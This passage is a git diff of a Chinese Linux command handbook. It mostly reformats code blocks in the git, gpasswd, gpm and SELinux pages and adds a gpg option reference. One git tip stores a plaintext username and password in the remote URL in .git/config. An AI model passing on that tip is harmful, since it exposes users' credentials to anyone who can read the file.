--> off @@ -34,11 +34,9 @@ allow_daemons_dump_core --> on 查询httpd_enable_homedirs是否为关闭,若没关闭,请关闭它: -``` +```shell getsebool httpd_enable_homedirs -setsebool -P httpd_enable_homedirs=0 //0是关闭 1是开启 - +setsebool -P httpd_enable_homedirs=0 # 0是关闭 1是开启 ``` - \ No newline at end of file diff --git a/command/git.md b/command/git.md index b4ce3445a9e..7295ee20e29 100644 --- a/command/git.md +++ b/command/git.md @@ -27,19 +27,15 @@ Git迅速成为最流行的分布式版本控制系统,尤其是2008年,GitH [Git常用命令清单](https://github.com/jaywcjlove/handbook/blob/master/other/Git%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4%E6%B8%85%E5%8D%95.md) -### 语法 +### 语法 -``` -git [--version] [--help] [-C ] [-c name=value] - [--exec-path[=]] [--html-path] [--man-path] [--info-path] - [-p | --paginate | --no-pager] [--no-replace-objects] [--bare] - [--git-dir=] [--work-tree=] [--namespace=] - [] +```shell +git [--version] [--help] [-C ] [-c name=value] [--exec-path[=]] [--html-path] [--man-path] [--info-path] [-p | --paginate | --no-pager] [--no-replace-objects] [--bare] [--git-dir=] [--work-tree=] [--namespace=] [] ``` -### 选项 +### 选项 -``` +```shell add 将文件内容添加到索引 bisect 通过二进制查找引入错误的更改 branch 列出,创建或删除分支 @@ -67,50 +63,62 @@ tag 创建,列出,删除或验证使用GPG签名的标签对象 init -`git init` #初始化 +```shell +git init # 初始化 +``` status -`git status` #获取状态 +```shell +git status # 获取状态 +``` add -`git add file` # .或*代表全部添加 -`git rm --cached ` # 在commit之前撤销git add操作 -`git reset head` # 好像比上面`git rm --cached`更方便 +```shell +git add file # .或*代表全部添加 +git rm --cached # 在commit之前撤销git add操作 +git reset head # 好像比上面`git rm --cached`更方便 +``` commit -`git commit -m "message"` #此处注意乱码 +```shell +git commit -m "message" # 此处注意乱码 +``` remote -`git remote add origin git@github.com:JSLite/test.git` #添加源 +```shell +git remote add origin git@github.com:JSLite/test.git # 添加源 +``` push -```bash -git push -u origin master # push同事设置默认跟踪分支 +```shell +git push -u origin master # push 同时设置默认跟踪分支 git push origin master git push -f origin master # 强制推送文件,缩写 -f(全写--force) ``` clone -`git clone git://github.com/JSLite/JSLite.js.git ` -`git clone git://github.com/JSLite/JSLite.js.git mypro` #克隆到自定义文件夹 -`git clone [user@]example.com:path/to/repo.git/` #SSH协议还有另一种写法。 +```shell +git clone git://github.com/JSLite/JSLite.js.git +git clone git://github.com/JSLite/JSLite.js.git mypro # 克隆到自定义文件夹 +git clone [user@]example.com:path/to/repo.git/ # SSH协议还有另一种写法。 +``` git clone支持多种协议,除了HTTP(s)以外,还支持SSH、Git、本地文件协议等,下面是一些例子。`git clone <版本库的网址> <本地目录名>` -```bash -$ git clone http[s]://example.com/path/to/repo.git/ -$ git clone ssh://example.com/path/to/repo.git/ -$ git clone git://example.com/path/to/repo.git/ -$ git clone /opt/git/project.git -$ git clone file:///opt/git/project.git -$ git clone ftp[s]://example.com/path/to/repo.git/ -$ git clone rsync://example.com/path/to/repo.git/ +```shell +git clone http[s]://example.com/path/to/repo.git/ +git clone ssh://example.com/path/to/repo.git/ +git clone git://example.com/path/to/repo.git/ +git clone /opt/git/project.git +git clone file:///opt/git/project.git +git clone ftp[s]://example.com/path/to/repo.git/ +git clone rsync://example.com/path/to/repo.git/ ``` ## 配置 @@ -119,7 +127,7 @@ $ git clone rsync://example.com/path/to/repo.git/ ## 修改项目中的个人信息 -```bash +```shell git help config # 获取帮助信息,查看修改个人信息的参数 git config --global user.name "小弟调调" # 修改全局名字 git config --global user.email "wowohoo@qq.com" # 修改全局邮箱 @@ -128,9 +136,9 @@ git config --list # 查看配置的信息 ### 配置自动换行 -自动转换坑太大,提交到git是自动将换行符转换为lf +自动转换坑太大,提交到git是自动将换行符转换为lf -```bash +```shell git config --global core.autocrlf input ``` @@ -140,7 +148,7 @@ git config --global core.autocrlf input 这个密钥用来跟 github 通信,在本地终端里生成然后上传到 github -```bash +```shell ssh-keygen -t rsa -C 'wowohoo@qq.com' # 生成密钥 ssh-keygen -t rsa -C "wowohoo@qq.com" -f ~/.ssh/ww_rsa # 指定生成目录文件名字 ssh -T git@github.com # 测试是否成功 @@ -155,14 +163,16 @@ ssh -T git@github.com # 测试是否成功 **2.密钥复制到托管平台上** -`vim ~/.ssh/jslite_rsa.pub` -打开公钥文件 `jslite_rsa.pub` ,并把内容复制至代码托管平台上 +`vim ~/.ssh/jslite_rsa.pub` +打开公钥文件 `jslite_rsa.pub` ,并把内容复制至代码托管平台上 **3.修改config文件** -`vim ~/.ssh/config` #修改config文件,如果没有创建 `config` +```shell +vim ~/.ssh/config # 修改config文件,如果没有创建 `config` +``` -```bash +```shell Host jslite.github.com HostName github.com User git @@ -184,7 +194,7 @@ Host work.github.com **4.测试** -```bash +```shell ssh -T git@jslite.github.com # `@`后面跟上定义的Host ssh -T work.github.com # 通过别名测试 ssh -i ~/公钥文件地址 Host别名 # 如 ssh -i ~/.ssh/work_rsa work.github.com @@ -192,7 +202,7 @@ ssh -i ~/公钥文件地址 Host别名 # 如 ssh -i ~/.ssh/work_rsa work.github **5.使用** -```bash +```shell # 原来的写法 git clone git@github.com:/learngit.git # 现在的写法 @@ -204,7 +214,7 @@ git clone git@work.github.com:/learngit.git 如果你修改了id_rsa的名字,你需要将ssh key添加到SSH agent中,如: -```bash +```shell ssh-add ~/.ssh/jslite_rsa ssh-add -l # 查看所有的key ssh-add -D # 删除所有的key @@ -213,14 +223,14 @@ ssh-add -d ~/.ssh/jslite_rsa # 删除指定的key ### 免密码登录远程服务器 -```bash -$ ssh-keygen -t rsa -P '' -f ~/.ssh/aliyunserver.key -$ ssh-copy-id -i ~/.ssh/aliyunserver.key.pub root@192.168.182.112 # 这里需要输入密码一次 +```shell +ssh-keygen -t rsa -P '' -f ~/.ssh/aliyunserver.key +ssh-copy-id -i ~/.ssh/aliyunserver.key.pub root@192.168.182.112 # 这里需要输入密码一次 ``` 编辑 `~/.ssh/config` -```bash +```shell Host aliyun1 HostName 192.168.182.112 User root @@ -232,34 +242,34 @@ Host aliyun1 ### https协议下提交代码免密码 -```bash +```shell git clone https://github.com/username/rep.git ``` 通过上面方式克隆可能需要密码,解决办法:进入当前克隆的项目 `vi rep/.git/config` 编辑 `config`, 按照下面方式修改,你就可以提交代码不用输入密码了。 -```diff +```shell [core] - repositoryformatversion = 0 - filemode = true - bare = false - logallrefupdates = true - ignorecase = true - precomposeunicode = true + repositoryformatversion = 0 + filemode = true + bare = false + logallrefupdates = true + ignorecase = true + precomposeunicode = true [remote "origin"] -- url = https://github.com/username/rep.git -+ url = https://用户名:密码@github.com/username/rep.git - fetch = +refs/heads/*:refs/remotes/origin/* +- url = https://github.com/username/rep.git ++ url = https://用户名:密码@github.com/username/rep.git + fetch = +refs/heads/*:refs/remotes/origin/* [branch "master"] - remote = origin - merge = refs/heads/master + remote = origin + merge = refs/heads/master ``` ### 文件推向3个git库 **1. 增加3个远程库地址** -```bash +```shell git remote add origin https://github.com/JSLite/JSLite.git git remote set-url --add origin https://gitlab.com/wang/JSLite.js.git git remote set-url --add origin https://oschina.net/wang/JSLite.js.git @@ -267,17 +277,19 @@ git remote set-url --add origin https://oschina.net/wang/JSLite.js.git **2. 删除其中一个 set-url 地址** -```bash +```shell usage: git remote set-url [--push] [] or: git remote set-url --add or: git remote set-url --delete ``` -`git remote set-url --delete origin https://oschina.net/wang/JSLite.js.git` +```shell +git remote set-url --delete origin https://oschina.net/wang/JSLite.js.git +``` **3.推送代码** -```bash +```shell git push origin master git push -f origin master # 强制推送 ``` @@ -287,7 +299,7 @@ git push -f origin master # 强制推送 只能拉取 `origin` 里的一个url地址,这个fetch-url 默认为你添加的到 `origin`的第一个地址 -```bash +```shell git pull origin master git pull --all # 获取远程所有内容包括tag git pull origin next:master # 取回origin主机的next分支,与本地的master分支合并 @@ -301,7 +313,7 @@ git merge origin/next 如果远程主机删除了某个分支,默认情况下,git pull 不会在拉取远程分支的时候,删除对应的本地分支。这是为了防止,由于其他人操作了远程主机,导致git pull不知不觉删除了本地分支。 但是,你可以改变这个行为,加上参数 -p 就会在本地删除远程已经删除的分支。 -```bash +```shell $ git pull -p # 等同于下面的命令 $ git fetch --prune origin @@ -310,32 +322,31 @@ $ git fetch -p **5.更改pull** -只需要更改config文件里,那三个url的顺序即可,fetch-url会直接对应排行第一的那个utl连接。 - +只需要更改config文件里,那三个url的顺序即可,fetch-url会直接对应排行第一的那个utl连接。 ### 修改远程仓库地址 -```bash +```shell git remote remove origin # 删除该远程路径 git remote add origin git@jslite.github.com:JSLite/JSLite.git # 添加远程路径 ``` ### 撤销远程记录 -```bash +```shell git reset --hard HEAD~1 # 撤销一条记录 git push -f origin HEAD:master # 同步到远程仓库 ``` ### 放弃本地的文件修改 -```bash +```shell git reset --hard FETCH_HEAD # FETCH_HEAD表示上一次成功git pull之后形成的commit点。然后git pull ``` `git reset --hard FETCH_HEAD` 出现错误 -```bash +```shell git pull You are not currently on a branch, so I cannot use any 'branch..merge' in your configuration file. @@ -346,14 +357,14 @@ See git-pull(1) FOR details. 解决方法: -```bash +```shell git checkout -b temp # 新建+切换到temp分支 git checkout master ``` ### 最简单放弃本地修改内容 -```bash +```shell # 如果有的修改以及加入暂存区的话 git reset --hard # 还原所有修改,不会删除新增的文件 @@ -364,21 +375,20 @@ git clean -xdf 通过存储暂存区stash,在删除暂存区的方法放弃本地修改。 -```bash +```shell git stash && git stash drop ``` ### 回滚到某个commit提交 -```bash +```shell git revert HEAD~1 # 撤销一条记录 会弹出 commit 编辑 git push # 提交回滚 ``` - ### 回退到某一个版本 -```bash +```shell git reset --hard # 例如 git reset --hard a3hd73r # --hard代表丢弃工作区的修改,让工作区与版本代码一模一样,与之对应, @@ -387,14 +397,14 @@ git reset --hard ### 去掉某个commit -```bash +```shell # 实质是新建了一个与原来完全相反的commit,抵消了原来commit的效果 git revert ``` ### 新建一个空分支 -```bash +```shell # 这种方式新建的分支(gh-pages)是没有 commit 记录的 git checkout --orphan gh-pages # 删除新建的gh-pages分支原本的内容,如果不删除,提交将作为当前分支的第一个commit @@ -405,7 +415,7 @@ git state ### 合并多个commit -```bash +```shell # 这个命令,将最近4个commit合并为1个,HEAD代表当前版本。 # 将进入VIM界面,你可以修改提交信息。 git rebase -i HEAD~4 @@ -427,7 +437,7 @@ git push -f origin master ### 修改远程Commit记录 -```bash +```shell git commit --amend # amend只能修改没有提交到线上的,最后一次commit记录 git rebase -i HEAD~3 @@ -450,7 +460,7 @@ pick 6293516 feat(Divider): Add Divider component. 保存并退出,会弹出下面提示 -```bash +```shell # You can amend the commit now, with # # git commit --amend @@ -469,11 +479,9 @@ git rebase --continue git push -f origin master ``` - - ### 添加忽略文件 -``` +```shell echo node_modules/ >> .gitignore ``` @@ -491,7 +499,7 @@ echo node_modules/ >> .gitignore 在同步之前,需要创建一个远程点指向上游仓库(repo).如果你已经派生了一个原始仓库,可以按照如下方法做。 -```bash +```shell $ git remote -v # List the current remotes (列出当前远程仓库) # origin https://github.com/user/repo.git (fetch) @@ -510,7 +518,7 @@ $ git remote -v 同步上游仓库到你的仓库需要执行两步:首先你需要从远程拉去,之后你需要合并你希望的分支到你的本地副本分支。从上游的存储库中提取分支以及各自的提交内容。 `master` 将被存储在本地分支机构 `upstream/master` -```bash +```shell git fetch upstream # remote: Counting objects: 75, done. # remote: Compressing objects: 100% (53/53), done. @@ -522,14 +530,14 @@ git fetch upstream 检查你的 fork's 本地 `master` 分支 -```bash +```shell git checkout master # Switched to branch 'master' ``` 合并来自 `upstream/master` 的更改到本地 master 分支上。 这使你的前 fork's `master` 分支与上游资源库同步,而不会丢失你本地修改。 -```bash +```shell git merge upstream/master # Updating a422352..5fdff0f # Fast-forward @@ -540,14 +548,13 @@ git merge upstream/master # create mode 100644 README.md ``` - ### 批量修改历史commit中的名字和邮箱 **1.克隆仓库** 注意参数,这个不是普通的clone,clone下来的仓库并不能参与开发 -```bash +```shell git clone --bare https://github.com/user/repo.git cd repo.git ``` @@ -560,7 +567,7 @@ CORRECT_EMAIL更正的邮箱 将下面代码复制放到命令行中执行 -```bash +```shell git filter-branch -f --env-filter ' OLD_EMAIL="wowohoo@qq.com" CORRECT_NAME="小弟调调" @@ -580,7 +587,7 @@ fi 执行过程 -```bash +```shell Rewrite 160d4df2689ff6df3820563bfd13b5f1fb9ba832 (479/508) (16 seconds passed, remaining 0 predicted) Ref 'refs/heads/dev' was rewritten Ref 'refs/heads/master' was rewritten @@ -590,28 +597,27 @@ Ref 'refs/heads/master' was rewritten 同步到push远程git仓库 -```bash +```shell git push --force --tags origin 'refs/heads/*' ``` 我还遇到了如下面错误,lab默认给master分支加了保护,不允许强制覆盖。`Project(项目)`->`Setting`->`Repository` 菜单下面的`Protected branches`把master的保护去掉就可以了。修改完之后,建议把master的保护再加回来,毕竟强推不是件好事。 -```bash +```shell remote: GitLab: You are not allowed to force push code to a protected branch on this project. ``` 当上面的push 不上去的时候,先 `git pull` 确保最新代码 -```bash +```shell git pull --allow-unrelated-histories # 或者指定分枝 git pull origin master --allow-unrelated-histories ``` - ### 查看某个文件历史 -```bash +```shell git log --pretty=oneline 文件名 # 列出文件的所有改动历史 git show c178bf49 # 某次的改动的修改记录 git log -p c178bf49 # 某次的改动的修改记录 @@ -621,7 +627,7 @@ git whatchanged 文件名 # 显示某个文件的每个版本提交信息:提 ### 打造自己的git命令 -```sh +```shell git config --global alias.st status git config --global alias.br branch git config --global alias.co checkout @@ -630,13 +636,13 @@ git config --global alias.ci commit 配置好后再输入git命令的时候就不用再输入一大段了,例如我们要查看状态,只需: -```sh +```shell git st ``` ### 中文乱码的解决方案 -```bash +```shell git config --global core.quotepath false ``` @@ -644,29 +650,39 @@ git config --global core.quotepath false ### init -`git init` #初始化 +```shell +git init # 初始化 +``` ### status -`git status` #获取状态 +```shell +git status # 获取状态 +``` ### add -`git add file` # .或*代表全部添加 -`git rm --cached ` # 在commit之前撤销git add操作 -`git reset head` # 好像比上面`git rm --cached`更方便 +```shell +git add file # .或*代表全部添加 +git rm --cached # 在commit之前撤销git add操作 +git reset head # 好像比上面`git rm --cached`更方便 +``` ### commit -`git commit -m "message"` #此处注意乱码 +```shell +git commit -m "message" # 此处注意乱码 +``` ### remote -`git remote add origin git@github.com:JSLite/test.git` #添加源 +```shell +git remote add origin git@github.com:JSLite/test.git # 添加源 +``` ### push -```bash +```shell git push -u origin master # push同事设置默认跟踪分支 git push origin master git push -f origin master # 强制推送文件,缩写 -f(全写--force) @@ -674,40 +690,42 @@ git push -f origin master # 强制推送文件,缩写 -f(全写--force) ## clone -`git clone git://github.com/JSLite/JSLite.js.git ` -`git clone git://github.com/JSLite/JSLite.js.git mypro` #克隆到自定义文件夹 -`git clone [user@]example.com:path/to/repo.git/` #SSH协议还有另一种写法。 +```shell +git clone git://github.com/JSLite/JSLite.js.git +git clone git://github.com/JSLite/JSLite.js.git mypro # 克隆到自定义文件夹 +git clone [user@]example.com:path/to/repo.git/ # SSH协议还有另一种写法。 +``` git clone支持多种协议,除了HTTP(s)以外,还支持SSH、Git、本地文件协议等,下面是一些例子。`git clone <版本库的网址> <本地目录名>` -```bash -$ git clone http[s]://example.com/path/to/repo.git/ -$ git clone ssh://example.com/path/to/repo.git/ -$ git clone git://example.com/path/to/repo.git/ -$ git clone /opt/git/project.git -$ git clone file:///opt/git/project.git -$ git clone ftp[s]://example.com/path/to/repo.git/ -$ git clone rsync://example.com/path/to/repo.git/ +```shell +git clone http[s]://example.com/path/to/repo.git/ +git clone ssh://example.com/path/to/repo.git/ +git clone git://example.com/path/to/repo.git/ +git clone /opt/git/project.git +git clone file:///opt/git/project.git +git clone ftp[s]://example.com/path/to/repo.git/ +git clone rsync://example.com/path/to/repo.git/ ``` ## 本地 ### help -```bash +```shell git help config # 获取帮助信息 ``` ### add -```bash +```shell git add * # 跟踪新文件 git add -u [path] # 添加[指定路径下]已跟踪文件 ``` ### rm -```bash +```shell rm *&git rm * # 移除文件 git rm -f * # 移除文件 git rm --cached * # 取消跟踪 @@ -717,7 +735,7 @@ git log # 查看提交记录 ### commit -```bash +```shell git commit #提交更新 git commit -m 'message' #提交说明 git commit -a #跳过使用暂存区域,把所有已经跟踪过的文件暂存起来一并提交 @@ -730,7 +748,7 @@ git commit -m '概要描述'$'\n\n''1.详细描述'$'\n''2.详细描述' #提交 ### reset -```bash +```shell git reset HEAD * # 取消已经暂存的文件 git reset --mixed HEAD * # 同上 git reset --soft HEAD * # 重置到指定状态,不会修改索引区和工作树 @@ -740,7 +758,7 @@ git reset -- files * # 重置index区文件 ### revert -```bash +```shell git revert HEAD # 撤销前一次操作 git revert HEAD~ # 撤销前前一次操作 git revert commit # 撤销指定操作 @@ -748,7 +766,7 @@ git revert commit # 撤销指定操作 ### checkout -```bash +```shell git checkout -- file # 取消对文件的修改(从暂存区——覆盖worktree file) git checkout branch|tag|commit -- file_name # 从仓库取出file覆盖当前分支 git checkout HEAD~1 [文件] # 将会更新 working directory 去匹配某次 commit @@ -758,7 +776,7 @@ git checkout -b gh-pages 0c304c9 # 这个表示 从当前分支 commit 哈希 ### diff -```bash +```shell git diff file # 查看指定文件的差异 git diff --stat # 查看简单的diff结果 git diff # 比较Worktree和Index之间的差异 @@ -773,7 +791,7 @@ git diff master...test # 你想找出‘master’,‘test’的共有 父分 ### stash -```bash +```shell git stash # 将工作区现场(已跟踪文件)储藏起来,等以后恢复后继续工作。 git stash list # 查看保存的工作现场 git stash apply # 恢复工作现场 @@ -784,20 +802,20 @@ git stash apply stash@{0} # 恢复指定的工作现场,当你保存了不只 ### merge -```bash +```shell git merge --squash test # 合并压缩,将test上的commit压缩为一条 ``` ### cherry-pick -```bash +```shell git cherry-pick commit # 拣选合并,将commit合并到当前分支 git cherry-pick -n commit # 拣选多个提交,合并完后可以继续拣选下一个提交 ``` ### rebase -```bash +```shell git rebase master # 将master分之上超前的提交,变基到当前分支 git rebase --onto master 169a6 # 限制回滚范围,rebase当前分支从169a6以后的提交 git rebase --interactive # 交互模式,修改commit @@ -810,7 +828,7 @@ git rebase --abort # 取消合并 ### 删除 -```bash +```shell git push origin :branchName # 删除远程分支 git push origin --delete new # 删除远程分支new git branch -d branchName # 删除本地分支,强制删除用-D @@ -821,17 +839,19 @@ git remote prune origin # 远程删除了,本地还能看到远程存在,这 ### 提交 -```bash +```shell git push -u origin branchName # 提交分支到远程origin主机中 ``` ### 拉取 -`git fetch -p` #拉取远程分支时,自动清理 远程分支已删除,本地还存在的对应同名分支。 +```shell +git fetch -p # 拉取远程分支时,自动清理 远程分支已删除,本地还存在的对应同名分支。 +``` ### 分支合并 -```bash +```shell git merge branchName # 合并分支 - 将分支branchName和当前所在分支合并 git merge origin/master # 在本地分支上合并远程分支。 git rebase origin/master # 在本地分支上合并远程分支。 @@ -840,11 +860,13 @@ git merge test # 将test分支合并到当前分支 ### 重命名 -`git branch -m old new` #重命名分支 +```shell +git branch -m old new # 重命名分支 +``` ### 查看 -```bash +```shell git branch # 列出本地分支 git branch -r # 列出远端分支 git branch -a # 列出所有分支 @@ -856,7 +878,7 @@ git remote show origin # 可以查看remote地址,远程分支 ### 新建 -```bash +```shell git branch test # 新建test分支 git branch newBrach 3defc69 # 指定哈希3defc69,新建分支名字为newBrach git checkout -b newBrach origin/master # 取回远程主机的更新以后,在它的基础上创建一个新的分支 @@ -865,14 +887,14 @@ git checkout -b newBrach 3defc69 # 以哈希值3defc69,新建 newBrach 分支 ### 连接 -```bash +```shell git branch --set-upstream dev origin/dev # 将本地dev分支与远程dev分支之间建立链接 git branch --set-upstream master origin/next # 手动建立追踪关系 ``` ### 分支切换 -```bash +```shell git checkout test # 切换到test分支 git checkout -b test # 新建+切换到test分支 git checkout -b test dev # 基于dev新建test分支,并切换 @@ -880,7 +902,7 @@ git checkout -b test dev # 基于dev新建test分支,并切换 ## 远端 -```bash +```shell git fetch <远程主机名> <分支名> # fetch取回所有分支(branch)的更新 git fetch origin remotebranch[:localbranch] # 从远端拉去分支[到本地指定分支] git merge origin/branch # 合并远端上指定分支 @@ -895,13 +917,13 @@ git checkout -b [--track] test origin/dev # 基于远端dev分支,新建本地 克隆项目同时克隆submodule -```bash +```shell git clone https://github.com/jaywcjlove/handbook.git --depth=1 --recurse-submodules ``` 克隆项目,之后再手动克隆 submodule 子项目 -```bash +```shell git submodule add --force '仓库地址' '路径' # 其中,仓库地址是指子模块仓库地址,路径指将子模块放置在当前工程下的路径。 # 注意:路径不能以 / 结尾(会造成修改不生效)、不能是现有工程已有的目录(不能順利 Clone) @@ -912,7 +934,7 @@ git submodule update --init --recursive # 下载的工程带有submodule 当使用`git clone`下来的工程中带有submodule时,初始的时候,submodule的内容并不会自动下载下来的,此时,只需执行如下命令: -```bash +```shell git submodule foreach git pull # submodule 里有其他的 submodule 一次更新 git submodule foreach git pull origin master # submodule更新 @@ -922,7 +944,7 @@ git submodule foreach --recursive git submodule update ## 删除文件 -```bash +```shell git rm -rf node_modules/ ``` @@ -930,7 +952,7 @@ git rm -rf node_modules/ git是一个分布式代码管理工具,所以可以支持多个仓库,在git里,服务器上的仓库在本地称之为remote。个人开发时,多源用的可能不多,但多源其实非常有用。 -```bash +```shell git remote add origin1 git@github.com:yanhaijing/data.js.git git remote # 显示全部源 git remote -v # 显示全部源+详细信息 @@ -943,10 +965,10 @@ git remote show origin # 查看指定源的全部信息 当开发到一定阶段时,给程序打标签是非常棒的功能。 -```bash +```shell git tag -a v0.1 -m 'my version 1.4' # 新建带注释标签 git push origin --tags # 一次性推送所有分支 -git push origin v1.5 # 推送单个tag到orgin源上 +git push origin v1.5 # 推送单个tag到origin源上 git tag -v v1.4.2.1 # 验证标签,验证已经签署的标签 git show v1.5 # 看到对应的 GPG 签 @@ -961,10 +983,11 @@ git --git-dir='<绝对地址>/.git' describe --tags HEAD # 查看本地版本信 ## 日志log -```bash +```shell git config format.pretty oneline #显示历史记录时,每个提交的信息只显示一行 git config color.ui true #彩色的 git 输出 -git log #查看最近的提交日志 +git log #查看提交日志,从最近的提交开始显示 +git log --reverse #查看提交日志,从最远的提交开始显示 git log --pretty=oneline #单行显示提交日志 git log --graph --pretty=oneline --abbrev-commit git log -num #显示第几条log(倒数) @@ -995,14 +1018,14 @@ git config --global format.pretty '%h : %s - %ad' --date=short #日期YYYY-MM-DD ## 重写历史 -```bash +```shell git commit --amend # 改变最近一次提交 git rebase -i HEAD~3 # 修改最近三次的提交说明,或者其中任意一次 git commit --amend # 保存好了,这些指示很明确地告诉了你该干什么 git rebase --continue # 修改提交说明,退出编辑器。 ``` -```bash +```shell pick f7f3f6d changed my name a bit pick 310154e updated README formatting and added blame pick a5f4a0d added cat-file @@ -1026,12 +1049,11 @@ rm -rf repo.git ## 其它 -```bash +```shell git help * # 获取命令的帮助信息 git status # 获取当前的状态,非常有用,因为git会提示接下来的能做的操作 ``` - ## 报错问题解决 **1. `git fatal: protocol error: bad line length character: No s`** @@ -1042,7 +1064,7 @@ git status # 获取当前的状态,非常有用,因为git会提示接下来 解决github push错误的办法: -```bash +```shell #vim 编辑器打开 当前项目中的config文件 vim .git/config @@ -1059,13 +1081,13 @@ vim .git/config 在查看状态的时候 git status 如果是中文就显示下面的情况 -```bash +```shell \344\272\247\345\223\201\351\234\200\346\261\202 ``` 解决这个问题方法是: -```bash +```shell git config --global core.quotepath false ``` @@ -1081,7 +1103,7 @@ git config --global core.quotepath false - [图解Git](http://marklodato.github.io/visual-git-guide/index-zh-cn.html) - [git-简明指南](http://rogerdudler.github.io/git-guide/index.zh.html) - [learnGitBranching 在线学习工具](http://pcottle.github.io/learnGitBranching/) -- [初级教程](http://rogerdudler.github.io/git-guide/index.zh.html) +- [初级教程](http://rogerdudler.github.io/git-guide/index.zh.html) - [廖雪峰的Git教程](http://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000) - [蒋鑫老师将带你入github的大门](http://www.worldhello.net/gotgithub/) - [git详解](http://www.open-open.com/lib/view/open1328069609436.html) @@ -1091,5 +1113,3 @@ git config --global core.quotepath false - [Git 本地仓库和裸仓库](https://gold.xitu.io/post/5842f9b861ff4b005889ade6) - [沉浸式学 Git](http://www.kancloud.cn/kancloud/igit/46710) - [Git进阶用法,主要是rebase高级用法](http://way.oschina.io/2016/12/15/notes/GitAdvance/?utm_source=gank.io&utm_medium=email) - - diff --git a/command/gpasswd.md b/command/gpasswd.md index fa30f324a73..9d1d8616619 100644 --- a/command/gpasswd.md +++ b/command/gpasswd.md @@ -1,21 +1,21 @@ gpasswd === - + Linux下工作组文件的管理工具 ## 补充说明 **gpasswd命令** 是Linux下工作组文件`/etc/group`和`/etc/gshadow`管理工具。 -### 语法 +### 语法 -``` +```shell gpasswd(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -a:添加用户到组; -d:从组删除用户; -A:指定管理员; @@ -24,15 +24,15 @@ gpasswd(选项)(参数) -R:限制用户登入组,只有组中的成员才可以用newgrp加入该组。 ``` -### 参数 +### 参数 组:指定要管理的工作组。 -### 实例 +### 实例 如系统有个peter账户,该账户本身不是groupname群组的成员,使用newgrp需要输入密码即可。 -``` +```shell gpasswd groupname ``` @@ -40,13 +40,13 @@ gpasswd groupname 所以使用`gpasswd groupname`设定密码,就是让知道该群组密码的人可以暂时切换具备groupname群组功能的。 -``` +```shell gpasswd -A peter users ``` 这样peter就是users群组的管理员,就可以执行下面的操作: -``` +```shell gpasswd -a mary users gpasswd -a allen users ``` @@ -55,9 +55,8 @@ gpasswd -a allen users 所以想要添加一个用户到一个组,同时保留以前添加的组时,请使用gpasswd这个命令来添加操作用户: -``` +```shell gpasswd -a user_name group_name ``` - \ No newline at end of file diff --git a/command/gpg.md b/command/gpg.md new file mode 100644 index 00000000000..242d3cfc4dc --- /dev/null +++ b/command/gpg.md @@ -0,0 +1,88 @@ +gpg +=== + +可用于签名、检查、加密或解密的工具 + +### 支持算法: + +Pubkey: `RSA`, `ELG`, `DSA`, `ECDH`, `ECDSA`, `EDDSA` +Cipher: `IDEA`, `3DES`, `CAST5`, `BLOWFISH`, `AES`, `AES192`, `AES256`, `TWOFISH`, + `CAMELLIA128`, `CAMELLIA192`, `CAMELLIA256` +Hash: `SHA1`, `RIPEMD160`, `SHA256`, `SHA384`, `SHA512`, `SHA224` +Compression: `Uncompressed`, `ZIP`, `ZLIB`, `BZIP2` + +### 语法 +```shell +gpg [选项] [文件...] +``` + +### 参数: + +```shell + -s, --sign 签名 + --clear-sign 生成明文签名 + -b, --detach-sign 生成一个独立的签名 + -e, --encrypt 加密数据 + -c, --symmetric 仅使用对称密码进行加密 + -d, --decrypt 解密数据 (默认) + --verify 验签 + -k, --list-keys 列出密钥 + --list-signatures 列出密钥和签名 + --check-signatures 列出并检查密钥签名 + --fingerprint 列出密钥和指纹 + -K, --list-secret-keys 列出私钥 + --generate-key 生成新的密钥对 + --quick-generate-key 快速生成新的密钥对 + --quick-add-uid 快速添加新的用户ID + --quick-revoke-uid 快速撤销用户ID + --quick-set-expire 快速设置新的过期日期 + --full-generate-key 全功能密钥对生成 + --generate-revocation 生成撤销证书 + --delete-keys 从公钥环中移除密钥 + --delete-secret-keys 从私钥环中移除密钥 + --quick-sign-key 快速签名密钥 + --quick-lsign-key 快速在本地签名密钥 + --quick-revoke-sig 快速撤销密钥签名 + --sign-key 签名密钥 + --lsign-key 本地签名密钥 + --edit-key 签名或编辑密钥 + --change-passphrase 更改密码短语 + --export 导出密钥 + --send-keys 将密钥导出到密钥服务器 + --receive-keys 从密钥服务器导入密钥 + --search-keys 在密钥服务器上搜索密钥 + --refresh-keys 从密钥服务器更新所有密钥 + --import 导入/合并密钥 + --card-status 打印卡片状态 + --edit-card 更改卡片上的数据 + --change-pin 更改卡片的PIN码 + --update-trustdb 更新信任数据库 + --print-md 打印消息摘要 + --server 以服务器模式运行 + --tofu-policy VALUE 为密钥设置TOFU策略 +``` + +### 选项: + +```shell + -a, --armor 指定ascii格式的输出 + -r, --recipient USER-ID 对特定用户ID的加密 + -u, --local-user USER-ID 使用 USER-ID 进行签名或解密 + -z N 设置压缩级别为N(0表示禁用) + --textmode 使用规范文本模式 + -o, --output FILE 将输出写入文件FILE + -v, --verbose 详细模式 + -n, --dry-run 不做任何更改 + -i, --interactive 在覆盖前提示 + --openpgp 使用严格的OpenPGP行为 +``` + +### 示例: + +```shell + -se -r Bob [file] 为用户Bob签名并加密 + --clear-sign [file] 生成明文签名 + --detach-sign [file] 生成一个独立的签名 + --list-keys [names] 显示密钥 + --fingerprint [names] 显示指纹 +``` diff --git a/command/gpm.md b/command/gpm.md index 32add0dd208..adffb8aee6f 100644 --- a/command/gpm.md +++ b/command/gpm.md @@ -1,21 +1,21 @@ gpm === - + 提供文字模式下的滑鼠事件处理 ## 补充说明 **gpm命令** 是Linux的虚拟控制台下的鼠标服务器,用于在虚拟控制台下实现鼠标复制和粘贴文本的功能。 -### 语法 +### 语法 -``` +```shell gpm(选项) ``` -### 选项 +### 选项 -``` +```shell -a:设置加速值; -b:设置波特率; -B:设置鼠标按键次序; @@ -24,4 +24,3 @@ gpm(选项) ``` - \ No newline at end of file diff --git a/command/grep.md b/command/grep.md index 6dbdcb912db..e52082e6ce1 100644 --- a/command/grep.md +++ b/command/grep.md @@ -5,11 +5,11 @@ grep ## 补充说明 -**grep** (global search regular expression(RE) and print out the line,全面搜索正则表达式并把行打印出来)是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印出来。用于过滤/搜索的特定字符。可使用正则表达式能多种命令配合使用,使用上十分灵活。 +**grep** (global search regular expression(RE) and print out the 